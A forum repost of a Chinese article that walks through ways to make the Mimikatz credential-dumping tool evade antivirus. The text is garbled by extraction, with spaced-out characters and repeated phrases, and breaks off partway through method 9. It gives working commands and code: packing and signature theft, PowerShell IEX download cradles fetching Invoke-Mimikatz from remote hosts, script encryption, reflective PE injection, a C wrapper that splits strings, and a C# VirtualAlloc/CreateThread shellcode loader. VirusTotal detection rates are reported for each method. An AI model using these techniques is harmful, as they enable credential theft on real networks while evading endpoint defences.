搜索

[15314] 2020-04-30_Mimikatz的18种免杀姿势及防御策略

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-04-30_Mimikatz的18种免杀姿势及防御策略 M i m i k a t z 的 1 8 种 免 杀 姿 势 及 防 御 策 略 重 剑 无 锋   F r e e B u f   2 0 2 0 - 0 4 - 3 0 0 x 0 0   前 言 前 言 M i m i k a t z 是 法 国 人 是 法 国 人 B e n j a m i n   D e l p y 编 写 的 一 款 轻 量 级 的 调 试 工 具 ， 理 论 上 可 以 抓 取 所 有 编 写 的 一 款 轻 量 级 的 调 试 工 具 ， 理 论 上 可 以 抓 取 所 有 w i n d o w s 系 统 的 明 文 密 码 （ 系 统 的 明 文 密 码 （ w i n x p 之 前 的 好 像 不 行 ） ， 因 此 在 内 网 渗 透 过 程 中 应 用 非 常 广 ， 属 于 之 前 的 好 像 不 行 ） ， 因 此 在 内 网 渗 透 过 程 中 应 用 非 常 广 ， 属 于 内 网 渗 透 必 备 工 具 之 一 ， 被 很 多 人 称 之 为 密 码 抓 取 神 器 。 内 网 渗 透 必 备 工 具 之 一 ， 被 很 多 人 称 之 为 密 码 抓 取 神 器 。 M i m i k a t z 其 实 并 不 只 有 抓 取 口 令 这 个 功 能 ， 它 还 能 够 创 建 票 证 、 票 证 传 递 、 其 实 并 不 只 有 抓 取 口 令 这 个 功 能 ， 它 还 能 够 创 建 票 证 、 票 证 传 递 、 h a s h 传 递 、 甚 至 伪 造 域 管 理 凭 证 令 牌 等 诸 多 功 能 。 传 递 、 甚 至 伪 造 域 管 理 凭 证 令 牌 等 诸 多 功 能 。 由 于 由 于 m i m i k a t z 的 使 用 说 明 网 上 资 料 很 多 ， 本 文 主 要 是 介 绍 一 下 的 使 用 说 明 网 上 资 料 很 多 ， 本 文 主 要 是 介 绍 一 下 m i m i k a t z 的 一 些 免 杀 方 式 。 的 一 些 免 杀 方 式 。 随 着 这 两 年 h w 行 动 越 来 越 多 ， 企 事 业 单 位 也 都 开 始 注 重 内 网 安 全 ， 有 预 算 的 会 上 全 套 的 终 端 安 全 、 企 业 版 杀 软 或 者 E D R ， 就 算 没 有 预 算 的 也 会 装 个 3 6 0 全 家 桶 或 者 主 机 卫 士 之 类 的 ， 这 也 导 致 很 多 时 候 你 的 m i m i k a t z 可 能 都 没 法 拷 贝 过 去 或 者 没 有 加 载 执 行 ， 拿 了 台 服 务 器 却 横 向 移 不 动 就 尴 尬 了 。 之 前 写 了 远 控 免 杀 系 列 的 文 章 ， 学 习 到 一 些 比 较 好 玩 的 免 杀 姿 势 ， 又 从 网 上 找 到 了 一 些 针 对 m i m i k a t z 的 免 杀 技 巧 ， 于 是 就 有 了 这 篇 m i m i k a t z 免 杀 的 文 章 。 本 文 所 用 到 的 相 关 工 具 和 代 码 都 已 经 打 包 ： h t t p s : / / g i t h u b . c o m / T i d e S e c / B y p a s s A n t i V i r u s / t r e e / m a s t e r / t o o l s / 0 x 0 2   免 杀 介 绍 免 杀 介 绍 在 远 控 免 杀 专 题 ( 1 ) - 基 础 篇 中 就 已 经 大 体 介 绍 了 一 些 常 见 的 免 杀 方 式 ， 而 针 对 M i m i k a t z 的 免 杀 更 多 样 化 ， 因 为 M i m i k t a z 本 身 是 开 源 的 ， 对 源 码 或 者 对 e x e 都 可 以 进 行 免 杀 处 理 。 本 文 主 要 介 绍 了 如 下 5 类 免 杀 方 式 ， 共 1 8 种 免 杀 方 法 。 本 文 虽 然 是 针 对 M i m i k t a z 进 行 免 杀 ， 但 更 多 的 是 想 研 究 学 习 一 下 比 较 通 用 的 e x e 的 免 杀 方 式 ， 比 如 文 中 介 绍 的 e x e 通 用 加 载 器 、 p o w e r s h e l l 执 行 e x e 、 白 名 单 加 载 e x e 等 有 几 种 方 法 可 以 适 用 于 任 意 的 e x e 免 杀 ， 如 果 只 是 针 对 m i m i k a t z 进 行 免 杀 完 全 没 必 要 这 么 啰 嗦 的 。 1 、 源 码 免 杀 。 、 源 码 免 杀 。 在 有 源 码 的 情 况 下 ， 可 以 定 位 特 征 码 、 加 花 指 令 、 多 层 跳 转 、 加 无 效 指 令 、 替 换 a p i 、 重 写 a p i 、 A P I 伪 调 用 等 等 ， 这 部 分 内 容 较 多 略 复 杂 ， 打 算 另 写 一 篇 进 行 介 绍 ， 本 文 不 多 介 绍 。 2 、 无 源 码 免 杀 、 无 源 码 免 杀 在 源 码 不 好 修 改 需 要 对 e x e 进 行 免 杀 时 ， 可 以 加 资 源 、 替 换 资 源 、 加 壳 、 加 签 名 、 P E 优 化 、 增 加 节 数 据 等 等 。 本 文 中 的 方 法 1 就 是 这 种 方 式 ， 只 不 过 算 是 最 简 单 的 一 种 。 3 、 、 p o w e r s h e l l 免 杀 免 杀 因 为 m i m i k a t z 有 p o w e r s h e l l 版 或 者 使 用 p o w e r s h e l l 可 以 加 载 ， 所 以 对 p o w e r s h e l l 的 脚 本 免 杀 也 是 一 种 方 式 ， 本 文 中 的 方 法 2 - 方 法 6 都 是 对 p o w e r s h e l l 进 行 处 理 。 4 、 加 载 器 分 离 免 杀 、 加 载 器 分 离 免 杀 加 载 器 就 是 利 用 了 S h e l l C o d e 和 P E 分 离 的 方 式 来 达 到 免 杀 的 效 果 ， 在 远 控 免 杀 专 题 中 介 绍 过 不 少 很 好 用 的 加 载 器 ， 不 过 很 多 只 能 加 载 基 于 R A W 格 式 或 固 定 格 式 的 s h e l l c o d e ， 对 e x e 程 序 就 无 能 无 力 了 。 所 以 这 次 针 对 m i m i k a t z ， 专 门 找 了 几 个 比 较 通 用 的 e x e 加 载 器 ， 将 e x e 转 换 成 b i n 文 件 即 可 进 行 加 载 ， 没 有 格 式 限 制 ， 方 法 7 到 方 法 1 0 就 是 介 绍 的 这 类 免 杀 。 5 、 白 名 单 免 杀 、 白 名 单 免 杀 白 名 单 主 要 是 使 用 了 r u n d l l 3 2 、 m s b u i l d 、 m s h t a 、 c s c r i p t 等 多 个 白 名 单 程 序 来 加 载 嵌 入 了 m i m i k a t z 的 j s c r i p t 脚 本 ， 这 部 分 没 有 太 多 亮 点 ， 和 之 前 写 的 远 控 免 杀 专 题 白 名 单 篇 基 本 相 似 。 部 分 白 名 单 加 载 方 法 借 鉴 了 R 1 n g k 3 y 的 文 章 九 种 姿 势 运 行 M i m i k a t z 。 0 x 0 3   m i m i k a t z 免 杀 实 践 免 杀 实 践 方 法 方 法 0 - 原 生 态 原 生 态 m i m i k a t z . e x e ( V T 查 杀 率 查 杀 率 5 5 / 7 1 ) 先 测 一 下 原 生 态 的 m i m i k a t z 在 v i r u s t o t a l . c o m 上 的 查 杀 率 ， 以 此 来 衡 量 其 他 的 免 杀 效 果 。 可 以 从 h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z / r e l e a s e s 下 载 最 新 的 m i m i k a t z ， 最 新 版 本 为 2 . 2 . 0 ( 2 0 2 0 0 3 0 8 ) ， 我 这 里 都 是 以 6 4 位 m i m i k t a z 为 例 进 行 测 试 。 开 启 3 6 0 防 护 时 会 拦 截 v i r u s t o t a l . c o m 上 查 杀 率 为 5 5 / 7 1 。
方 法 方 法 1 - 加 壳 加 壳 + 签 名 签 名 + 资 源 替 换 资 源 替 换 ( V T 查 杀 率 查 杀 率 9 / 7 0 ) 这 里 先 介 绍 一 种 比 较 常 见 的 p e 免 杀 方 法 ， 就 是 替 换 资 源 + 加 壳 + 签 名 ， 有 能 力 的 还 可 以 p e 修 改 ， 而 且 m i m i k a t z 是 开 源 的 ， 针 对 源 码 进 行 免 杀 处 理 效 果 会 更 好 ， 这 里 不 多 做 讨 论 。 需 要 几 个 软 件 ， V M P r o t e c t   U l t i m a t e   3 . 4 . 0 加 壳 软 件 ， 下 载 链 接 :   h t t p s : / / p a n . b a i d u . c o m / s / 1 V X a Z g Z 1 Y l V Q W 9 P 3 B _ c i C h g   提 取 码 :   e m n q 签 名 软 件 h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / T i d e S e c / B y p a s s A n t i V i r u s / m a s t e r / t o o l s / m i m i k a t z / s i g t h i e f . p y 资 源 替 换 软 件 R e s H a c k e r ： h t t p s : / / g i t h u b . c o m / T i d e S e c / B y p a s s A n t i V i r u s / b l o b / m a s t e r / t o o l s / m i m i k a t z / R e s H a c k e r . z i p 先 替 换 资 源 ， 使 用 R e s H a c k e r 打 开 m i m i k a t z . e x e ， 然 后 在 图 标 里 替 换 为 3 6 0 图 标 ， v e r s i o n 里 面 文 字 自 己 随 意 更 改 。 安 装 v m p 加 壳 软 件 后 ， 使 用 v m p 进 行 加 壳 使 用 s i g t h i e f . p y 对 上 一 步 生 成 的 e x e 文 件 进 行 签 名 。 s i g t h i e f 的 详 细 用 法 可 以 参 考 h t t p s : / / g i t h u b . c o m / s e c r e t s q u i r r e l / S i g T h i e f 。 然 后 看 看 能 不 能 运 行 ， 3 6 0 和 火 绒 都 没 问 题 。
V T 平 台 上 m i m i k a t z 3 2 _ 3 6 0 . e x e 文 件 查 杀 率 9 / 7 0 ， 缺 点 就 是 v m p 加 壳 后 会 变 得 比 较 大 。 方 法 方 法 2 - I n v o k e - M i m i k a t z ( V T 查 杀 率 查 杀 率 3 9 / 5 8 ) 当 e x e 文 件 执 行 被 拦 截 时 ， 最 常 想 到 的 就 是 使 用 P o w e r S p l o i t 中 的 I n v o k e - M i m i k a t z . p s 1 了 。 它 虽 然 是 p o w e r s h e l l 格 式 ， 但 由 于 知 名 度 太 高 ， 目 前 也 是 被 查 杀 的 惨 不 忍 睹 了 。 可 以 去 P o w e r S p l o i t 下 载 ， 也 可 以 下 载 我 打 包 的 ： 将 I n v o k e - M i m i k a t z . p s 1 放 在 测 试 机 上 ， 本 地 执 行 杀 软 会 行 为 拦 截 ， I n v o k e - M i m i k a t z . p s 1 脚 本 也 会 被 查 杀 。 p o w e r s h e l l 脚 本 更 方 便 的 是 可 以 进 行 远 程 加 载 不 过 由 于 r a w . g i t h u b u s e r c o n t e n t . c o m 经 常 访 问 受 限 ， 所 以 可 能 会 出 现 这 种 提 示 所 以 ， 最 后 是 把 相 关 代 码 放 在 自 己 的 v p s 上 ， 我 就 直 接 放 我 的 内 网 另 外 的 p c 上 了 。 p o w e r s h e l l 依 旧 会 被 3 6 0 行 为 拦 截 。 h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / T i d e S e c / B y p a s s A n t i V i r u s / m a s t e r / t o o l s / m i m i k a t z / I n v o k e - M i m i k a t z . p s 1 C : W I N D O W S s y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - e x e c   b y p a s s   " i m p o r t - m o d u l e   c : t e s t I n v o k e - M i m i k a t z . p s 1 ; I n v o k e - M i m i k a t z " p o w e r s h e l l . e x e   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / T i d e S e c / B y p a s s A n t i V i r u s / m a s t e r / t o o l s / m i m i k a t z / I n v o k e - M i m i k a t z . p s 1 ' ) ; I n v o k e - M i m i k a t z
对 可 以 尝 试 直 使 用 下 面 的 b y p a s s 方 式 ， 来 自 团 队 诺 言 大 佬 的 文 章 内 网 渗 透 - w i n d o w s 持 久 性 后 门 不 会 触 发 p o w e r s h e l l 下 载 行 为 预 警 。 v i r u s t o t a l . c o m 上 I n v o k e - M i m i k a t z . p s 1 脚 本 查 杀 率 为 3 9 / 5 8 。 方 法 方 法 3 - 使 用 使 用 O u t - E n c r y p t e d S c r i p t 加 密 加 密 ( V T 查 杀 率 查 杀 率 0 / 6 0 ) 参 考 h t t p s : / / w w w . j i a n s h u . c o m / p / e d 5 0 7 4 f 8 5 8 4 b P o w e r s p l o i t 中 提 供 的 很 多 工 具 都 是 做 过 加 密 处 理 的 ， 同 时 也 提 供 了 一 些 用 来 加 密 处 理 的 脚 本 ， O u t - E n c r y p t e d S c r i p t 就 是 其 中 之 一 。 首 先 在 本 地 对 I n v o k e - M i m i k a t z . p s 1 进 行 加 密 处 理 ： 先 下 载 O u t - E n c r y p t e d S c r i p t . p s 1 脚 本 ， 下 载 地 址 ： h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / T i d e S e c / B y p a s s A n t i V i r u s / m a s t e r / t o o l s / m i m i k a t z / O u t - E n c r y p t e d S c r i p t . p s 1 在 自 己 的 电 脑 上 依 次 执 行 默 认 会 生 成 的 e v i l . p s 1 文 件 。 其 中 两 个 参 数 ： - P a s s w o r d   设 置 加 密 的 密 钥 - S a l t   随 机 数 ， 防 止 被 暴 力 破 解 将 加 密 生 成 的 e v i l . p s 1 脚 本 放 在 目 标 机 上 ， 执 行 如 下 命 令 ： p o w e r s h e l l . e x e   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   - w   N o r m a l   p o w e r s h e l l . e x e I m p o r t - M o d u l e   . O u t - E n c r y p t e d S c r i p t . p s 1 O u t - E n c r y p t e d S c r i p t   - S c r i p t P a t h   . I n v o k e - M i m i k a t z . p s 1   - P a s s w o r d   t i d e s e c   - S a l t   1 2 3 4 5 6 p o w e r s h e l l . e x e
对 e v i l . p s 1 文 件 进 行 查 杀 v i r u s t o t a l . c o m 上 e v i l . p s 1 文 件 查 杀 率 为 0 / 6 0 。 方 法 方 法 4 - 使 用 使 用 x e n c r y p t 加 密 加 密 ( V T 查 杀 率 查 杀 率 2 / 5 9 ) 该 方 法 主 要 是 使 用 工 具 对 p o w e r s h e l l 脚 本 进 行 加 密 并 采 用 G z i p / D E F L A T E 来 绕 过 杀 软 。 工 具 地 址 h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / T i d e S e c / B y p a s s A n t i V i r u s / m a s t e r / t o o l s / m i m i k a t z / x e n c r y p t . p s 1 下 载 I n v o k e - M i m i k a t z . p s 1 将 x e n c r y p t . p s 1 也 放 在 同 一 目 录 在 p o w e r s h e l l 中 执 行 生 成 m i m i . p s 1 执 行 p o w e r s h e l l . e x e I E X ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( " h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / T i d e S e c / B y p a s s A n t i V i r u s / m a s t e r / t o o l s / m i m i k a t z / O u t - E n c r y p t e d S c r i p t . p s 1 " ) [ S t r i n g ]   $ c m d   =   G e t - C o n t e n t   . e v i l . p s 1 I n v o k e - E x p r e s s i o n   $ c m d $ d e c r y p t e d   =   d e   t i d e s e c   1 2 3 4 5 6 I n v o k e - E x p r e s s i o n   $ d e c r y p t e d I n v o k e - M i m i k a t z h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / T i d e S e c / B y p a s s A n t i V i r u s / m a s t e r / t o o l s / m i m i k a t z / I n v o k e - M i m i k a t z . p s 1 I m p o r t - M o d u l e   . / x e n c r y p t . p s 1 I n v o k e - X e n c r y p t   - I n F i l e   . I n v o k e - M i m i k a t z . p s 1   - O u t F i l e   m i m i . p s 1   - I t e r a t i o n s   8 8 C : W I N D O W S s y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - e x e c   b y p a s s   " i m p o r t - m o d u l e   c : t e s t m i m i . p s 1 ; I n v o k e - M i m i k a t z "
v i r u s t o t a l . c o m 上 m i m i . p s 1 文 件 查 杀 率 为 2 / 5 9 。 方 法 方 法 5 - P o w e r S h e l l 嵌 入 嵌 入 E X E 文 件 文 件 ( V T 查 杀 率 查 杀 率 1 5 / 5 8 ) 这 个 方 法 其 实 只 是 将 e x e 程 序 转 为 字 符 串 ， 然 后 嵌 入 到 I n v o k e - R e f l e c t i v e P E I n j e c t i o n . p s 1 中 直 接 执 行 。 参 考 h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / t e r m i n a l / 9 9 6 3 1 . h t m l 将 下 面 代 码 保 存 为 C o n v e r t - B i n a r y T o S t r i n g . p s 1 执 行 p o w e r s h e l l   i m p o r t - m o d u l e   . C o n v e r t - B i n a r y T o S t r i n g . p s 1   ;   C o n v e r t - B i n a r y T o S t r i n g   . m i m i k a t z . e x e   > > 1 . t x t 下 载 I n v o k e - R e f l e c t i v e P E I n j e c t i o n . p s 1 ， 这 个 是 E m p i r e 里 的 ， 可 以 使 用 P E U r l 参 数 。 h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / T i d e S e c / B y p a s s A n t i V i r u s / m a s t e r / t o o l s / m i m i k a t z / I n v o k e - R e f l e c t i v e P E I n j e c t i o n . p s 1 新 建 一 个 p a y l o a d . p s 1 ， 内 容 如 下 ， 需 要 替 换 里 面 1 . t x t 的 内 容 和 I n v o k e - R e f l e c t i v e P E I n j e c t i o n 内 容 。 f u n c t i o n   C o n v e r t - B i n a r y T o S t r i n g   {       [ C m d l e t B i n d i n g ( ) ]   p a r a m   (             [ s t r i n g ]   $ F i l e P a t h       )       t r y   {             $ B y t e A r r a y   =   [ S y s t e m . I O . F i l e ] : : R e a d A l l B y t e s ( $ F i l e P a t h ) ;       }       c a t c h   {             t h r o w   " F a i l e d   t o   r e a d   f i l e .   E n s u r e   t h a t   y o u   h a v e   p e r m i s s i o n   t o   t h e   f i l e ,   a n d   t h a t   t h e   f i l e   p a t h   i s   c o r r e c t . " ;       }       i f   ( $ B y t e A r r a y )   {             $ B a s e 6 4 S t r i n g   =   [ S y s t e m . C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( $ B y t e A r r a y ) ;       }       e l s e   {             t h r o w   ' $ B y t e A r r a y   i s   $ n u l l . ' ;       }       W r i t e - O u t p u t   - I n p u t O b j e c t   $ B a s e 6 4 S t r i n g } #   Y o u r   b a s e 6 4   e n c o d e d   b i n a r y $ I n p u t S t r i n g   =   ' . . . . . . . . . . . '     # 上 面 1 . t x t 的 内 容 f u n c t i o n   I n v o k e - R e f l e c t i v e P E I n j e c t i o n     # I n v o k e - R e f l e c t i v e P E I n j e c t i o n 的 内 容 {       . . . . . .       . . . . . .       . . . . . . } #   C o n v e r t   b a s e 6 4   s t r i n g   t o   b y t e   a r r a y $ P E B y t e s   =   [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ I n p u t S t r i n g )
然 后 在 目 标 机 器 执 行 p o w e r s h e l l   - E x e c u t i o n P o l i c y   B y p a s s   - F i l e   p a y l o a d . p s 1 即 可 。 打 开 杀 软 发 现 静 态 查 杀 都 过 不 了 ， 其 实 这 个 也 正 常 ， I n v o k e - R e f l e c t i v e P E I n j e c t i o n 这 个 知 名 度 太 高 了 。 如 果 保 错 P E   p l a t f o r m   d o e s n ’ t   m a t c h   t h e   a r c h i t e c t u r e   o f   t h e   p r o c e s s   i t   i s   b e i n g   l o a d e d   i n   ( 3 2 / 6 4 b i t ) 说 明 使 用 3 2 位 的 p o w e r s h e l l 才 行 % w i n d i r % S y s W O W 6 4 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - E x e c u t i o n P o l i c y   B y p a s s   - F i l e   p a y l o a d . p s 1 v i r u s t o t a l . c o m 上 p a y l o a d . p s 1 文 件 查 杀 率 为 1 5 / 5 8 。 方 法 方 法 6 - C 程 序 中 执 行 程 序 中 执 行 p o w e r s h e l l ( V T 查 杀 率 查 杀 率 7 / 7 1 ) 这 个 执 行 方 式 也 是 比 较 简 单 ， 在 C 代 码 里 执 行 p o w e r s h e l l 。 先 借 用 I n v o k e - M i m i k a t z . p s 1 使 用 c 语 言 的 s y s t e m 函 数 去 执 行 p o w e r s h e l l 。 编 译 为 e x e 文 件 ， 达 到 免 杀 的 目 的 。 但 在 运 行 该 e x e 时 ， 会 触 发 3 6 0 报 警 。 $ P E B y t e s   =   [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ I n p u t S t r i n g ) #   R u n   E X E   i n   m e m o r y I n v o k e - R e f l e c t i v e P E I n j e c t i o n   - P E B y t e s   $ P E B y t e s   - E x e A r g s   " A r g 1   A r g 2   A r g 3   A r g 4 " p o w e r s h e l l   $ c 2 = ' I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o ' ; $ c 3 = ' a d S t r i n g ( ' ' h t t p : / / 1 0 . 2 1 1 . 5 5 . 2 / m i m i k a t z / I n v o k e - M i m i k a t z . p s 1 ' ' ) ' ;   $ T e x t = $ c 2 + $ c 3 ;   I E X ( - j o i n   $ T e x t ) ; I n v o k e - M i m i k a t z # i n c l u d e < s t d i o . h > # i n c l u d e < s t d l i b . h > i n t   m a i n ( ) { s y s t e m ( " p o w e r s h e l l   $ c 2 = ' I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o ' ; $ c 3 = ' a d S t r i n g ( ' ' h t t p : / / 1 0 . 2 1 1 . 5 5 . 2 / m i m i k a t z / I n v o k e - M i m i k a t z . p s 1 ' ' ) ' ;   $ T e x t = $ c 2 + $ c 3 ;   I E X ( - j o i n   $ T e x t ) ; I n v o k e - M i m i k a t z " r e t u r n   0 ; }
v i r u s t o t a l . c o m 上 P r o j e c t 1 . e x e 文 件 查 杀 率 为 7 / 7 1 。 方 法 方 法 7 - 使 用 加 载 器 使 用 加 载 器 p e _ t o _ s h e l l c o d e ( V T 查 杀 率 查 杀 率 4 7 / 7 0 ) 下 载 h t t p s : / / g i t h u b . c o m / h a s h e r e z a d e / p e _ t o _ s h e l l c o d e 将 m i m i k a t z . e x e 转 化 为 s h e l l c o d e p e 2 s h c . e x e   m i m i k a t z . e x e   m i m i . t x t 加 载 r u n s h c 6 4 . e x e   m i m i . t x t v i r u s t o t a l . c o m 上 m i m i . t x t 文 件 查 杀 率 为 4 7 / 7 0 ， 额 ， 看 来 这 个 已 经 被 列 入 黑 名 单 了 。 方 法 方 法 8 - c # 加 载 加 载 s h e l l c o d e ( V T 查 杀 率 查 杀 率 2 1 / 5 7 ) 参 考 远 控 免 杀 专 题 ( 3 8 ) - 白 名 单 R u n d l l 3 2 . e x e 执 行 p a y l o a d ( V T 免 杀 率 2 2 - 5 8 ) h t t p s : / / m p . w e i x i n . q q . c o m / s / r m * * A W C 6 H m c p h o z f E Z h R G A 先 使 用 上 面 介 绍 的 p e _ t o _ s h e l l c o d e 方 法 ， 把 m i m i k a t z . e x e 转 换 为 m i m i . t x t 然 后 使 用 b i n 2 h e x . e x e 将 m i m i . t x t 转 换 为 1 6 进 制 文 件 ， b i n 2 h e x . e x e 可 在 这 里 下 载 到 h t t p s : / / g i t h u b . c o m / T i d e S e c / B y p a s s A n t i V i r u s / b l o b / m a s t e r / t o o l s / b i n 2 h e x . e x e b i n 2 h e x . e x e   - - i   m i m i . t x t   - - o   m i m i 2 . t x t
在 v s 2 0 1 7 中 创 建 C # 的 C o n s o l e 工 程 ， 把 m i m i 2 . t x t 中 的 1 6 进 制 放 到 下 面 代 码 中 的 M s f P a y l o a d 中 。 编 译 生 成 e x e 文 件 。 然 后 使 用 D o t N e t T o J S c r i p t 把 c s h a r p 文 件 转 为 j s 使 用 c s c r i p t . e x e   m i m i k a t z . j s 进 行 执 行 。 v i r u s t o t a l . c o m 上 m i m i . t x t 文 件 查 杀 率 为 2 1 / 5 7 。 u s i n g   S y s t e m ; u s i n g   S y s t e m . T h r e a d i n g ; u s i n g   S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s ; n a m e s p a c e   M S F W r a p p e r {         p u b l i c   c l a s s   P r o g r a m         {                 p u b l i c   P r o g r a m ( )                 {                         R u n M S F ( ) ;                 }                 p u b l i c   s t a t i c   v o i d   R u n M S F ( )                 {                         b y t e [ ]   M s f P a y l o a d   =     { 0 x 4 D ,   0 x 5 A ,   0 x 4 5 ,   0 x 5 2 ,   0 x E 8 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 5 B ,   0 x 4 8 ,   0 x 8 3 , 0 x 4 1 ,   0 x 5 9 ,   0 x 4 1 ,   0 x 5 8 ,   0 x 4 1 ,   0 x 5 C ,   0 x 5 F ,   0 x 5 E ,   0 x 5 B ,   0 x C 2 ,   0 x 0 4 ,   0 x 0 0   } ;                         I n t P t r   r e t u r n A d d r   =   V i r t u a l A l l o c ( ( I n t P t r ) 0 ,   ( u i n t ) M a t h . M a x ( M s f P a y l o a d . L e n g t h ,   0 x 1 0 0 0 ) ,   0 x 3 0 0 0 ,   0 x 4 0 ) ;                         M a r s h a l . C o p y ( M s f P a y l o a d ,   0 ,   r e t u r n A d d r ,   M s f P a y l o a d . L e n g t h ) ;                         C r e a t e T h r e a d ( ( I n t P t r ) 0 ,   0 ,   r e t u r n A d d r ,   ( I n t P t r ) 0 ,   0 ,   ( I n t P t r ) 0 ) ;                         T h r e a d . S l e e p ( 2 0 0 0 ) ;                 }                 p u b l i c   s t a t i c   v o i d   M a i n ( )                 {                 }                 [ D l l I m p o r t ( " k e r n e l 3 2 . d l l " ) ]                 p u b l i c   s t a t i c   e x t e r n   I n t P t r   V i r t u a l A l l o c ( I n t P t r   l p A d d r e s s ,   u i n t   d w S i z e ,   u i n t   f l A l l o c a t i o n T y p e ,   u i n t   f l P r o t e c t ) ;                 [ D l l I m p o r t ( " k e r n e l 3 2 . d l l " ) ]                 p u b l i c   s t a t i c   e x t e r n   I n t P t r   C r e a t e T h r e a d ( I n t P t r   l p T h r e a d A t t r i b u t e s ,   u i n t   d w S t a c k S i z e ,   I n t P t r   l p S t a r t A d d r e s s ,   I n t P t r   l p P a r a m e t e r ,   u i n t   d w C r e a t i o n F l a g s ,   I n t P t r   l p T h r e a d I d         } } D o t N e t T o J S c r i p t . e x e   - l = J S c r i p t   - o = m i m i k a t z . j s   - c = M S F W r a p p e r . P r o g r a m   C o n s o l e A p p 1 . e x e
方 法 方 法 9 - D o n u t 执 行 执 行 m i m i k a t z ( V T 查 杀 率 查 杀 率 2 9 / 7 1 ) 先 使 用 d o n u t 把 m i m i k t a z . e x e 转 为 b i n 文 件 。 将 m i m i . b i n 作 b a s e 6 4 编 码 并 保 存 在 剪 贴 板 ， p o w e r s h e l l 命 令 如 下 ： 把 b a s e 6 4 编 码 复 制 到 D o n u t T e s t 工 程 中 。 编 译 生 成 e x e 。 在 注 入 进 程 时 ， 发 现 注 入 到 n o t e p a d . e x e 中 无 法 执 行 ， 但 注 入 到 p o w e r s h e l l 中 可 以 执 行 。 但 是 发 现 仍 被 查 杀 。 d o n u t . e x e   - f   m i m i k a t z . e x e   - o   m i m i . b i n $ f i l e n a m e   =   " m i m i . b i n " [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( [ I O . F i l e ] : : R e a d A l l B y t e s ( $ f i l e n a m e ) )   |   c l i p
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理